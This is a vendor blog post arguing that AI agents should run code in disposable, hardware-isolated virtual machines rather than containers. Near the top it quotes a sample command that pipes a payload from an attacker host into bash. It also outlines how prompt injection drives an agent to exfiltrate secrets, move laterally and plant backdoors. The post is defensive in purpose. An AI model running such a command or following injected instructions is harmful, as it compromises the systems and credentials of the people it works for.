Secure AI agent compute environment

Give Your AI Agent a Computer — Securely

March 22, 2026

← Back to Blog

The most capable AI agents need more than API access. They need to write code and run it. Browse the web. Install packages. Read and write files. Use command-line tools. In short, they need a computer.

The problem is obvious: giving an AI agent a computer means giving it the ability to execute arbitrary code. And that code comes from natural language prompts — the most injection-prone input surface in computing. One prompt injection away from curl attacker.com/payload | bash.

The Attack Chain

Prompt injection leads to code generation, code generation leads to code execution, and unsandboxed code execution leads to data exfiltration, lateral movement, or persistent backdoors. The entire chain from “user message” to “compromised server” can happen in a single agent turn.

It's not hypothetical. Researchers have demonstrated prompt injection attacks that cause coding agents to exfiltrate environment variables, write SSH keys, and modify source code to include backdoors. The agent faithfully executes the injected instructions because it can't distinguish them from legitimate requests.

  • Prompt injection — malicious instructions embedded in user input, retrieved documents, web pages, or tool outputs.
  • Code execution — the agent generates and runs code containing the injected payload.
  • Data exfiltration — secrets, API keys, database credentials, source code — anything the agent's process can read.
  • Lateral movement — from the agent's environment to other services on the network, cloud metadata endpoints, or internal APIs.
  • Persistent access — SSH keys, cron jobs, modified dependencies — backdoors that survive the agent session.

Why Containers Aren't Enough

Most agent sandboxing solutions use containers. Containers share the host kernel. A kernel exploit from inside the container reaches the host and every other container on it. For untrusted code execution, this is the wrong isolation boundary.

Docker containers were designed for packaging and deployment, not for running hostile code. The isolation is process-level: namespaces and cgroups. These are software abstractions over a shared kernel. When the shared kernel has a vulnerability — and it regularly does — the isolation disappears.

Seccomp profiles and AppArmor help, but they're allowlists over a complex syscall interface. One missed syscall, one edge case in a filter, and the escape is possible. For AI agents executing arbitrary, unpredictable code, you want the isolation boundary to be hardware, not policy.

Hardware Isolation: A Separate Kernel

VMs run their own kernel. The isolation is enforced by the CPU's virtualization extensions (Intel VT-x, AMD-V), not by software policy. A compromised VM cannot access the host kernel, other VMs, or the host network. There is no shared kernel to exploit.

This is the same isolation model used by every major cloud provider to separate tenants. AWS, GCP, and Azure all use hardware virtualization as the trust boundary between customers. If it's good enough to separate competing enterprises on the same physical hardware, it's good enough for your AI agents.

The OpenFactory Approach

Build purpose-built VM images containing only what the agent needs. Deploy one per agent session. Destroy it when done. Every session starts from a clean, reproducible, minimal image with hardware-level isolation.

OpenFactory lets you define exactly what goes into the agent's VM:

  • Language runtimes — Python, Node.js, Go, Rust — only what the agent needs. No extra attack surface.
  • Development tools — git, compilers, linters, formatters — a full development environment without the risk.
  • Browser — for web-browsing agents that need to navigate, scrape, or interact with web applications.
  • CLI tools — curl, jq, database clients, cloud CLIs — whatever tools the agent uses to accomplish its tasks.
  • Nothing else — no SSH server (unless needed), no package manager (build-time only), no unnecessary services. Minimal surface area.

Use Cases

  • Coding agents — agents that write, test, and debug code need a full development environment. Give them a VM with the project's language runtime, test framework, and build tools. If the agent goes rogue, it can only damage its own disposable VM.
  • Web-browsing agents — agents that navigate websites, fill forms, or extract data need a browser. Run it in an isolated VM so compromised web pages can't reach your infrastructure.
  • Data analysis agents — agents that process datasets, run queries, or generate reports. Isolate them from production data stores — give them only the data they need inside the VM.
  • MCP tool servers — Model Context Protocol servers that expose tools to AI models. Each MCP server runs in its own VM, so a compromised tool can't affect other tools or the host.
  • CI/CD agents — build and deployment pipelines that run in isolated VMs. Even if a supply chain attack compromises a dependency, the blast radius is contained.

Disposable by Design

The best security property of an agent VM is that it doesn't persist. Deploy from a clean image, run the task, destroy the VM. No state accumulates. No backdoors survive. Every session is a fresh start from a known-good baseline.

Traditional infrastructure fights to keep servers running. Agent infrastructure should fight to tear them down. The shorter the VM lives, the smaller the window for an attacker. The less state it accumulates, the less there is to exfiltrate.

  • Reproducible — every VM boots from the same image. No configuration drift, no “works on my machine.”
  • Auditable — the image definition is code. You can review exactly what's installed, what services run, and what network access is allowed.
  • Versioned — update the image definition, rebuild, and deploy. Roll back to a previous version if something breaks.
  • Ephemeral — destroy after use. No cleanup scripts, no state migration, no accumulated risk.

How to Build It

Describe your agent's requirements to OpenFactory — language runtimes, tools, security level — and get a deployable VM image in minutes. No Dockerfile, no Packer templates, no manual configuration.

  1. Go to console.openfactory.tech and describe what your agent needs: “Python 3.12, Node.js 22, Firefox, git, strict security, no SSH.”
  2. OpenFactory generates a hardened Linux image with exactly those components and nothing else.
  3. Deploy the image on your hypervisor (KVM, VMware, Hyper-V) or use OpenFactory's fleet management to deploy and manage instances at scale.
  4. Point your agent framework at the VM via SSH, API, or guest agent. The agent gets a full computer. You get hardware isolation.

Stop running AI agents on your production servers. Stop trusting containers to isolate untrusted code. Give your agents their own computers — isolated, disposable, and purpose-built.